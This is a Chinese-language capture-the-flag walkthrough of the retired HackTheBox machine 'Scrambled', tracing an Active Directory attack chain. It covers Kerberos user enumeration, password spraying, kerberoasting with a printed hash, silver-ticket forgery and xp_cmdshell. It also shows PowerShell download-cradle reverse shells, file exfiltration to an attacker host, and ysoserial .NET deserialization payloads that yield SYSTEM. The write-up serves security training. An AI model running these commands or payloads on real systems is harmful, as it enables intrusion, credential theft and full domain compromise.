概述 (Overview)
HOST: 10.10.11.168
OS: Windows
发布时间: 2022-06-11
完成时间: 2022-06-28
机器作者: VbScrub
困难程度: Medium
机器状态: Retired
MACHINE TAGS: #ActiveDirectory #Kerberos #SourceCodeAnalysis #ysoserial
攻击链 (Kiillchain)
`以下是 HTB 对该机器的描述`:**Scrambled** 是一台中等级的 Windows **Active Directory** 计算机。
通过枚举远程计算机上托管的网站,潜在攻击者能够推断出用户 **ksimpson** 的凭据。在网站上,还指出 NTLM 身份验证被禁用,这意味着要使用 Kerberos 身份验证。使用 **ksimpson** 凭据访问 **Public**共享时,一个 PDF 文件表示攻击者检索到了 SQL 数据库的凭据。这是一个提示,表明远程计算机上正在运行 SQL 服务。枚举普通用户帐户时,发现帐户 **SqlSvc** 具有与其关联的 **Service Principal Name(SPN)**。攻击者可以使用此信息执行被称为 **kerberoasting** 的攻击,并获取 **SqlSvc** 的哈希。在破解哈希并获取 **SqlSvc** 帐户的凭据后,攻击者可以执行 **silver ticket** (银票据)攻击,伪造票证并在远程 **MSSQL** 服务上模拟 **Administrator** 用户 。数据库的枚举显示用户 **MiscSvc** 的凭据,该凭据可用于使用 **PowerShell** 远程处理在远程计算机上执行代码。
新用户显示 **.NET** 应用程序时的系统枚举,该应用程序正在侦听端口 **4411**。对该应用程序进行反向工程显示,它使用不安全的 **Binary Formatter** 类来传输数据,使攻击者能够上传自己的有效载荷,并以 **nt authority\system** 的身份执行代码。
枚举(Enumeration)
老样子,开始依然是使用 Nmap 对目标服务器开放端口进行信息枚举:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: Scramble Corp Intranet
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-06-24 09:20:09Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Issuer: commonName=scrm-DC1-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2022-06-09T15:30:57
| Not valid after: 2023-06-09T15:30:57
| MD5: 679c fca8 69ad 25c0 86d2 e8bb 1792 d7c3
|_SHA-1: bda1 1c23 bafc 973e 60b0 d87c c893 d298 e2d5 4233
|_ssl-date: 2022-06-24T09:23:20+00:00; 0s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
|_ssl-date: 2022-06-24T09:23:20+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Issuer: commonName=scrm-DC1-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2022-06-09T15:30:57
| Not valid after: 2023-06-09T15:30:57
| MD5: 679c fca8 69ad 25c0 86d2 e8bb 1792 d7c3
|_SHA-1: bda1 1c23 bafc 973e 60b0 d87c c893 d298 e2d5 4233
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-06-22T23:41:42
| Not valid after: 2052-06-22T23:41:42
| MD5: e116 17d3 e8c2 782d b469 82e2 838c 4ba4
|_SHA-1: 7ef1 568d c84d 0861 1bbe 21ab db1d 86f9 c2a2 f839
|_ssl-date: 2022-06-24T09:23:20+00:00; 0s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Issuer: commonName=scrm-DC1-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2022-06-09T15:30:57
| Not valid after: 2023-06-09T15:30:57
| MD5: 679c fca8 69ad 25c0 86d2 e8bb 1792 d7c3
|_SHA-1: bda1 1c23 bafc 973e 60b0 d87c c893 d298 e2d5 4233
|_ssl-date: 2022-06-24T09:23:20+00:00; 0s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
|_ssl-date: 2022-06-24T09:23:20+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Issuer: commonName=scrm-DC1-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2022-06-09T15:30:57
| Not valid after: 2023-06-09T15:30:57
| MD5: 679c fca8 69ad 25c0 86d2 e8bb 1792 d7c3
|_SHA-1: bda1 1c23 bafc 973e 60b0 d87c c893 d298 e2d5 4233
4411/tcp open found?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
| SCRAMBLECORP_ORDERS_V1.0.3;
| FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions:
| SCRAMBLECORP_ORDERS_V1.0.3;
|_ ERROR_UNKNOWN_COMMAND;
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49368/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49691/tcp open msrpc Microsoft Windows RPC
49695/tcp open msrpc Microsoft Windows RPC
64653/tcp open msrpc Microsoft Windows RPC
Host script results:
| ms-sql-info:
| 10.10.11.168:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb2-time:
| date: 2022-06-24T09:22:43
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
从信息中可以得到它是 Active Directory 机器,Domain 是 scrm.local,Kerberos 协议服务是对外开放的。同时,存在 SMB、WINRM、DNS 服务和 SQL Server服务。
Port 80 - HTTP
访问 80 端口从网站内容中能够找到一些信息,IT 服务的联系电话是 0866,邮箱则是 support@scramblecorp.com
。
其中还含有重置密码的说明,密码可以重置成与用户名一致。这也就意味着,可能存在弱口令登录类的问题。
Phone 0866
Email support@scramblecorp.com
If no one is available please leave a message stating your username and we will reset your password to be the same as the username.
立足点(Foothold)
Kerberos枚举
存在 Kerberos 协议服务,所以尝试利用该协议进行账号枚举。在枚举的过程中发现 kerberos_enum_userlists 字典还挺好用的,但就是有点老且不适合中文拼音。
[!ad-note] Kerberos 说明
Kerberos 是由 MIT 提出的一种网络身份验证协议,旨在通过密钥加密技术为客户端/服务器应用程序提供强身份验证,它也是主要用在域环境下的身份认证协议。
# ./kerbrute userenum -d scrm.local --dc 10.10.11.168 /home/x/tools/DictionaryTools/kerberos_enum_userlists/A-ZSurnames.txt -t 20
...snip...
Version: dev (n/a) - 06/24/22 - Ronnie Flathers @ropnop
2022/06/24 18:56:45 > Using KDC(s):
2022/06/24 18:56:45 > 10.10.11.168:88
2022/06/24 18:56:45 > [+] VALID USERNAME: ASMITH@scrm.local
2022/06/24 18:57:12 > [+] VALID USERNAME: JHALL@scrm.local
2022/06/24 18:57:15 > [+] VALID USERNAME: KSIMPSON@scrm.local
2022/06/24 18:57:16 > [+] VALID USERNAME: KHICKS@scrm.local
2022/06/24 18:57:37 > [+] VALID USERNAME: SJENKINS@scrm.local
2022/06/24 18:58:01 > Done! Tested 13000 usernames (5 valid) in 75.657 seconds
使用编译好的 kerbrute 工具进行用户枚举,发现存在 5 个用户。其中 KSIMPSON 用户在首页的贴图中有出现过,这可能是个突破口。
接下来枚举密码,字典里的用户名称均是大写要转小写,很简单使用 tr 命令就可以了。
$ cat /home/x/hackthebox/Scrambled/file/k_users_upper.txt | tr [:upper:] [:lower:] > k_users_lower.txt
继续使用 kerbrute 工具进行枚举,成功枚举出 ksimpson 用户的密码就是 ksimpson。
$ ./kerbrute passwordspray -d scrm.local --dc scrm.local ./k_users_lower.txt ksimpson
...snip...
2022/06/24 19:15:14 > [+] VALID LOGIN: ksimpson@scrm.local:ksimpson
SPN
在使用 impacket 工具获取域用户时出现错误:
# impacket-GetADUsers scrm.local/ksimpson:ksimpson@10.10.11.168 -dc-ip 10.10.11.168
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
("Unpacked data doesn't match constant value 'b''' should be ''NTLMSSP\\x00''", 'When unpacking field \' | "NTLMSSP\x00 | b\'\'[:8]\'')
# impacket-GetUserSPNs -request -dc-ip 10.10.11.168 scrm.local/ksimpson:ksimpson
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[-] ("Unpacked data doesn't match constant value 'b''' should be ''NTLMSSP\\x00''", 'When unpacking field \' | "NTLMSSP\x00 | b\'\'[:8]\'')
根据错误信息进行查询,在 https://github.com/SecureAuthCorp/impacket/issues/1343 中找到原因:
此错误表示目标域已禁用 NTLM 身份验证。您必须改用 Kerberos 身份验证。
目前,当您需要使用该选项并且 NTLM 身份验证被禁用时,某些示例脚本中存在问题。-k 因此,作为一种解决方法,您可以使用此技巧或测试此PR。
关闭。如果您需要进一步的帮助,请重新打开。
只能使用 Kerberos 协议进行身份验证,还是得从域服务上找突破口,接下来的步骤就是申请一张白银票据。
# impacket-getTGT scrm.local/ksimpson:ksimpson
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Saving ticket in ksimpson.ccache
or
# ./kerbrute -user ksimpson -password ksimpson -domain scrm.local
impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Stupendous => ksimpson:ksimpson
[*] Saved TGT in ksimpson.ccache
这里不管使用 impacket-getTGT 还是 kerbrute 工具效果都是一样的,得到一个 Kerberos 票证,接下来尝试进行 PTK(密钥传递攻击)。
# export KRB5CCNAME=/home/x/hackthebox/Scrambled/file/ksimpson.ccache
# impacket-psexec scrm.local/ksimpson@10.10.11.168 -k -no-pass
...snip...
[-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
报错了,说在 Kerberos 数据库中找不到服务。继续 Google 搜索了解详情:这意味着您使用了一个未在任何服务帐户上注册的SPN。好吧,看来我还是想的太简单了,需要找到域内注册的 SPN 。
# impacket-GetUserSPNs -dc-ip dc1.scrm.local scrm.local/ksimpson -request -k -no-pass
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[-] exceptions must derive from BaseException
这里又出错了,继续进行 Google 搜索查询错误原因。根据 https://github.com/SecureAuthCorp/impacket/issues/1206 内容,对工具代码进行修正后再次运行。
虽然得到了 SPN 的名称详情,但丢失了后续的票据信息。MSSQLSvc 存在,意味着后面可以登录 SQL Server。
这里我怀疑是 kali 上的 impacket 太老了,所以就先从 GITHUB 项目下载最新的代码至本地,随后进行安装。
# git clone https://github.com/SecureAuthCorp/impacket.git
# cd impacket/
# python3 -m pip install .
再次运行后成功显示了一张使用用户帐户密码加密的票证:
$ impacket-GetUserSPNs -dc-ip dc1.scrm.local scrm.local/ksimpson -request -k -no-pass
Impacket v0.10.1.dev1+20220606.123812.ac35841f - Copyright 2022 SecureAuth Corporation
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
---------------------------- ------ -------- -------------------------- -------------------------- ----------
MSSQLSvc/dc1.scrm.local:1433 sqlsvc 2021-11-04 00:32:02.351452 2022-06-26 06:29:21.317948
MSSQLSvc/dc1.scrm.local sqlsvc 2021-11-04 00:32:02.351452 2022-06-26 06:29:21.317948
$krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm.local/sqlsvc*$dc6cced98e67aa75b70447c935187dac$52d08100ccd2ebe57994aeba3cc704bd476b76274b1dc5c108bc152570bb64cba5e877049011890bf9e3e8950f5d2a563b63ba50a7d0d16497bfb9d166d36177d97d9b8fd8912b2df760e994325c35fc539e25594b1b72c743292674a0ab6a27b983d9dbd269762af17b1b5816aa4f68a1138bba86b1639aa40e85e988a0e140135628c793424b3e18e1e7dd3271e8a7cc2e983635e0609563d8657020a71635fc8352479ab524bc0f55b578df2f2d9afe742ff54849602a05dc1c20cbeeb25e9c4acb8449d96431106b7bcee4fbd185d43efa711a9055b143f59b797be8a8ab25be1b1c298951fa1ded6774772dc6ac1de7305296e1ffb9b3a052a17e5724ab0d60c1065fdeb91a7d1fc0540e0f63e2ddced0f81f49d80157caba4fd9d401e96e8083d5b4547838db0468dc512f245682821a33e0ff8ebe997ce96e3459892e5739f17d26d6fcb8d1f1d6d30f66390d7a9272790fcbf2cd0fb0d6a4d09abf6e52b84980e4ba2c3733aa90c815e090abdd7b49267a261d30c1621446124579fb30a2abe50e8682b2079b0794bd51fb61f9fcca23b633cbc84b1a48f51f36d9fc844898ddabb2ea5f752dd13440f7f69245c3f9370b6e3e0e613acac762b017ee8806835a8c00b45a42e7aacad370bf6d6e0232afdd7b35416ccb2657f8f7a2ed3f244c9486b0a424b94efe21f967d522e5b8f4fdba1b0434dce280583fa716856f5d8652ccaccadb0567f577955722ed20b902a8e1515a2fcfa86a2158ebac838927178f77071eb7fbadc0eb581e3906c908113c5165c23dfeef9d7534505bce4578e55c5af2465d9a0693489035a3588e5597f9e76f40ff620c6311c9802868cc9050fd405cab80cd79d76fd5077e2996560c883e79fa673db0864f2ef394451bb9014a897c7d58b5aba0bde92c34af1e0e68616f1694b483fe572d72f8efd0f48818a35a28f79d115ca125bb447cf3e021ef9e773b4e225519c2047bde2e5db831b11fe0ca4b872987ae83072718415b5e1616e295a1f794991e49fd3a1d2cded8c4399055ca11a020dcf6cbfc1695d534ca3dd3ccb8dc3d18a06b2f0d6911adb69934e9845d6aefe1ac5b562a306d2d1423fe7ad701d492b93b3b776fec8d12c5c97451beb2722ab076a88940cf667c456db37b32e8e80dd7687d7300abe9c183aa78687898947e6ed1f108c4c099525a0db9c159ccdda6596dc0fb2faf3e865f5a49a471c2c58faac06c50db7efbb93c186a4f31c99f9dbffbffd20822b7dbff1ffa0b68c26b82e75b808f9ecf01b21adad2138b1697e7eec9d48b93567a1c2b0bbddbfb798ba881d70ee038d6ce2bea328d22aa009cde0500e9a3654d236c352b9f5b343f1bd263ca10d9a56072c23722d71494e670ac5a5496a2016237c91a3b0372951b274b44b28f14734f4fa6c50ebc29221f135a3bbb
接着使用 john 工具枚举这种张票据 hash,成功碰撞出了明文密码。
sqlvc:Pegasus60
票据伪造
要登录 MSSQLSvc 服务还是得走 Kerberos 协议,这里可以基于 SPN 创建一张已 Administrator 身份颁发的票据。可以访问 https://adsecurity.org/?p=2011 来详细了解票据详情。
想利用白银票据需要先知道以下信息:
- 域名
- 域 SID
- 目标服务器的 FQDN 即完整的域名
- 可利用的服务
- 服务账户的 NTLM 哈希
- 伪造的用户名即任意用户名
krbtgt 的 NTLM Hash 这个可以访问 https://codebeautify.org/ntlm-hash-generator 进行在线转换:
PASS: Pegasus60
NTHASH: B999A16500B87D17EC7F2E2A68778F05
而域的 SID ,因为禁用了 ntlm 验证使用 lookupsid 会提示: STATUS_NOT_SUPPORTED。这里有两种方式获得,首先是运行 impacket-getPac
(
此脚本将获得指定目标用户的PAC【Privilege Attribute Certificate】结构,该目标用户仅具有经过正常身份验证的用户凭据。它通过混合使用[MS-SFU]的S4USelf+用户对用户Kerberos身份验证来实现这一点。) 获得。另一种是使用 LDAPSearch 查询 objectSid 的编码并解密。
随后就可以使用 impacket-ticketer
并传递所需要的参数,就生成了一张银票。
# impacket-ticketer -nthash b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain scrm.local -user-id 500 -spn MSSQLSvc/dc1.scrm.local Administrator
Impacket v0.10.1.dev1+20220606.123812.ac35841f - Copyright 2022 SecureAuth Corporation
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for scrm.local/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
随后使用这张银票据,成功登录 SQL Server
服务:
xp_cmdshell
关于 SQL Server 的命令执行最熟知的就是 xp_cmdshell
,使用它可以进行命令执行反弹 shell。
SQL> enable_xp_cmdshell
[*] INFO(DC1): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(DC1): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> xp_cmdshell whoami
scrm\sqlsvc
使用 xp_cmdshell 运行 PowerShell 语句,成功拿到交互 shell。
横向移动(Lateral Movement)
首先做的事情就是搜索用户 flag,发现当前 PSSession 是没有查看权限的,需要进行账户间的横向移动。
PS> Get-ChildItem -Path C:\Users -Recurse -Include user.txt
通过查看 Users 文件夹知道存在 miscsvc 用户,所以这里直接使用它的凭证运行 PowerShell 执行拿 PSSession 就可以了。
凭据参数用于允许你以其他用户的身份运行函数或 cmdlet。 https://learn.microsoft.com/zh-cn/powershell/scripting/learn/deep-dives/add-credentials-to-powershell-functions?view=powershell-7.3
修改好用于上线的 Invoke-PowerShellTcp.ps1 并开启一个 Web 服务,随后执行如下 PowerShell 语句:
$secpasswd = ConvertTo-SecureString "ScrambledEggs9900" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("miscsvc",$secpasswd)
Invoke-Command -ComputerName dc1 -ScriptBlock { IEX(New-Object Net.WebClient).downloadstring('http://<kali ip>/shell.ps1') } -Credential $mycreds
权限提升(Privilege Escalation)
对服务器上的内容进行浏览,发现在 C:\Shares\IT\Apps\Sales Order Client\
路径里存在一个应用。随后结合 PowerShell 上传文件,在 Kali 上进行接收,进行本地分析。
# 文件路径
C:\Shares\IT\Apps\Sales Order Client\ScrambleClient.exe
C:\Shares\IT\Apps\Sales Order Client\ScrambleLib.dll
# 发送 HTTP 请求进行文件传递
$body = Get-Content ScrambleClient.exe
Invoke-RestMethod -Uri http://<kali ip>:8000/PUT.php?file_name=ScrambleLib.exe -Method PUT -Body $body
在 Kali 上运行 php 脚本接收发送过来的文件:
<?php
$file_name=$_REQUEST['file_name'];
$file_data=file_get_contents('php://input');
print_r("[+] upload...");
if($file_data!=''){
file_put_contents($file_name, $file_data, true);
}
print_r("[+] end!");
首先对 exe
文件进行查壳,用到的工具是 https://github.com/horsicq/DIE-engine/releases,多平台 GUI 工具。
发没加壳它就是一个 32 位程序,编译器用的是 .NET ,直接使用 AvaloniaILSpy 工具就可以查看源代码。AvaloniaILSpy 其实就是 ILSpy 程序的对平台移植版,专门用来反编码查看 .NET 程序。
public ScrambleNetClient()
{
Server = string.Empty;
Port = 4411;
}
...snip...
public void UploadOrder(SalesOrder NewOrder)
{
try
{
Log.Write("Uploading new order with reference " + NewOrder.ReferenceNumber);
string text = NewOrder.SerializeToBase64();
Log.Write("Order serialized to base64: " + text);
ScrambleNetResponse scrambleNetResponse = SendRequestAndGetResponse(new ScrambleNetRequest(ScrambleNetRequest.RequestType.UploadOrder, text));
ScrambleNetResponse.ResponseType type = scrambleNetResponse.Type;
if (type == ScrambleNetResponse.ResponseType.Success)
{
Log.Write("Upload successful");
return;
}
throw new ApplicationException(scrambleNetResponse.GetErrorDescription());
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Log.Write("Error: " + ex2.Message);
throw ex2;
}
}
...snip...
public string SerializeToBase64()
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
Log.Write("Binary formatter init successful");
using MemoryStream memoryStream = new MemoryStream();
binaryFormatter.Serialize(memoryStream, this);
return Convert.ToBase64String(memoryStream.ToArray());
}
关键代码在上面这段,在上传排序的方法中可以看到使用了序列化(binaryFormatter.Serialize
)。通过本地运行 exe 程序进行登录,加 Wireshark 抓包可以发现数据包规律。而使用代码里的 scrmdev 用户可以直接登录。
结合代码分析,数据包传输格式为: <消息类型>;<binaryFormatter类系列化数据>\n
接下来要做的是构造序列化数据包,发送到目标服务器的 4411 端口上。例如将数据包通过 nc
进行发送:
对于 .NET 的序列化攻击,可以使用 ysoserial.net 工具进行构建。例如使用 ysoserial 生成一个 ping 的 cmdlet,进行命令执行测试。
C:\Users\x>Z:\ysoserial-1.34\Release\ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "ping <kali ip>"
AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2Vjd...snip...OTJhV1JsY2o0TAs=
将生成的序列化字符串内容进行格式拼接,随后监听 icmp 协议。可以看到目标服务器执行了我们构造的 ping 命令。
接着就简单了,继续构造 PowerShell 反弹 shell 命令,发送后成功获得 system 权限的 PSSession 。
C:\Users\x>Z:\ysoserial-1.34\Release\ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "powershell.exe IEX (new-object net.webclient).downloadstring('http://<kali ip>/shell.ps1')"
AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN...snip...mhVSEp2ZG1sa1pYSStDdz09Cw==
复盘
WinRM Kerberos
仔细检查数据库,会得到一组新的密码组:
SQL> SELECT name FROM master.dbo.sysdatabases
name --------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
ScrambleHR
...snip...
SQL> use ScrambleHR;
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: ScrambleHR
[*] INFO(DC1): Line 1: Changed database context to 'ScrambleHR'.
SQL> select * from UserImport;
LdapUser|LdapPwd|LdapDomain|
MiscSvc:ScrambledEggs9900:scrm.local
...snip...
但使用 winrm 默认的摘要式身份验证是无法登录的,因为它启用 Kerberos 身份验证。而使用 Kerberos 票据并修改 /etc/krb5.conf
内容,将目标域添加进来才可以。
[libdefaults]
default_realm = SCRM.LOCAL
[realms]
SCRM.LOCAL = {
kdc = DC1.scrm.local
}
[domain_realm]
.scrm.local = SCRM.LOCAL
scrm.local = SCRM.LOCAL